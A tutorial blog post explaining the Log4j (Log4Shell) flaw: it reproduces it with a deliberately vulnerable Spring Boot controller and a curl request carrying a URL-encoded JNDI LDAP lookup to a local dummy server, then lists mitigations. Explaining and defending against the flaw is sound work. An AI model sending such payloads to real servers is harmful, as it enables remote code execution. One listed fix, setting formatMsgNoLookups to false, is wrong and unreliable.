Log4j vulnerability

What is it?

Log4j library is considered to be the de-facto standard of logging framework when it comes to logging the activities in your server. The vulnerability allows remote attackers to execute arbitrary code or perform denial of service attacks on the targeted servers.

Therefore hackers can easily steal data or take control of the system. This vulnerability has the potential to expose organizations to new waves of cybersecurity risks, where the attackers can exploit using Remote Code Execution (RCE).

Reproducing the threat exposed by log4j

I have started by creating a spring boot project and added the following dependencies needed to reproduce the vulnerability.

dependencies {
   implementation ('org.springframework.boot:spring-boot-starter-web') {
      exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
   }
   testImplementation 'org.springframework.boot:spring-boot-starter-test'
   implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
}

Also verified the log4j version

2.14.1: This is one of the vulnerable versions

Created a controller to test the venerability by printing the message that the user has typed as input.

Now we will see the behavior of this log for two different types of user messages.

@SpringBootApplication
@RestController
public class TestingApplication {
   private static final Logger log = LogManager.getLogger(TestingApplication.class);
   public static void main(String[] args) {
      SpringApplication.run(TestingApplication.class, args);
   }
   @GetMapping("/hello")
   public String printString(@RequestParam("msg") String message){
      log.info("User message : "+ message);
      return "{}";
   }
}

Input 1: curl -X GET ‘http://localhost:8080/hello?msg=test message ‘

Input 2 : curl -X GET ‘http://localhost:8080/hello?msg=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D'

Now my message has a JNDI call linked to it which is URL encoded

Now we found the exploit, this is actually calling my dummy JNDI directory.

How can this be exploited?

Now the bad actor can create a dummy server that will have some malicious code in it.
Once the JNDI call is done, it will down the malicious code into the system and start exploiting.

How to prevent it?

Any three methods can be used to avoid this venerability.

1. Upgrade the log4j library to the latest build I.e. 2.15.0
2. Setting the log4j2.formatMsgNoLookups variable to false
3. Setting com.sun.jndi.ldap.object.trustURLCodebase & com.sun.jndi.rmi.trustURLCodebase to false

History for the change

This vulnerability is there since 2013 LOG4J2–313

Changes: https://issues.apache.org/jira/secure/attachment/12592850/jndi-lookup-plugin.patch

These changes were done for the following use case

I’d like to use RoutingAppender [2] to put all the logs from the same web application context in a log file (a log file per web application context).

And, I want to use JNDI resources lookup to determine the target route (similarly to JNDI context selector of log back [3]).

References

Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec

JNDI Lookup plugin support

Apache Log4j Security Vulnerabilities

Cyber security: Log4j vulnerability issue explained

Soumik Dutta is currently working as Software Engineer at Sixt India, the global leader in mobility solutions offering leasing, car rental, car sharing, and mobility consulting in over 100 countries.